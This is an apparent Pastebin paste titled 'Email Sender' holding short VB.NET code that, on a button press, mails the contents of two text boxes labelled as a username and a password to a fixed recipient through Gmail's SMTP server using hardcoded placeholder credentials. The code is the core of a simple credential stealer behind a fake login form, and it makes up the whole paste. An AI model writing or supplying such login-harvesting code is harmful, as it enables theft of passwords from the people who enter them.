Advertisement
Guest User

Email Sender

a guest
Sep 18th, 2015
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3.  
  4. Button:
  5. Dim Mail As New MailMessage()
  6. Dim Smtpserver As New SmtpClient
  7. Smtpserver.Credentials = New Net.NetworkCredential("Program mail@gmail.com", "password to email")
  8. Smtpserver.Port = 587
  9. Smtpserver.Host = "Smtp.Gmail.com"
  10. Smtpserver.EnableSsl = True
  11. Smtpserver.EnableSsl = True
  12. Mail.To.Add("Email Odbiorcy")
  13. Mail.From = New MailAddress("UserName@gmail.com")
  14. Mail.Subject = "Email Subject"
  15. Mail.Body = "UserName:" & TextBox1.Text & "Password:" & TextBox2.Text
  16. Smtpserver.Send(Mail)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement